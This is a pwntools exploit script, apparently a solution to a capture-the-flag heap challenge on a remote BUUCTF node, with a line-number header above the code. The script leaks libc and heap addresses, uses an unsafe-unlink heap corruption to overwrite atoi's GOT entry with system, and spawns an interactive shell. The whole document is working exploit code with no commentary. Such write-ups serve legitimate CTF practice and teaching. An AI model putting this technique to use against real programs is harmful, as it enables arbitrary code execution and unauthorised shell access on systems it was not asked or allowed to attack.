1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context(os='linux',arch='amd64',log_level='debug') #p = process("./buu") p = remote('node4.buuoj.cn',25461) libc = ELF("u1664.so") atoi_got = 0x602070 def add(size,content): p.sendlineafter("Your choice: ","2") p.sendlineafter("Length of new note: ",str(size)) p.sendafter("Enter your note: ",content) def show(): p.sendlineafter("Your choice: ","1") def edit(index,size,content): p.sendlineafter("Your choice: ","3") p.sendlineafter("Note number: ",str(index)) p.sendlineafter("Length of note: ",str(size)) p.sendafter("Enter your note: ",content) def delete(index): p.sendlineafter("Your choice: ","4") p.sendlineafter("Note number: ",str(index)) def debug(): gdb.attach(p) payload = 'a'*0x80 add(0x80,payload) add(0x80,payload) add(0x80,payload) add(0x80,payload) delete(1) add(8,'b'*8) show() libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook'] print(hex(libcbase)) system_addr = libcbase + libc.sym['system'] delete(0) delete(2) add(8,'c'*8) show() p.recvuntil('c'*8) heap_addr = u64(p.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - 0x1940 print(hex(heap_addr)) add(0x80,payload) delete(1) payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + 'a'*0x60 + p64(0x80) + p64(0x90) edit(0,0x90,payload) delete(1) payload = p64(2) + p64(1) + p64(0x8) + p64(atoi_got) + 'a'*0x70 edit(0,0x90,payload) payload = p64(system_addr) edit(0,8,payload) p.recv() p.sendline("/bin/sh\x00") #debug() p.interactive()
|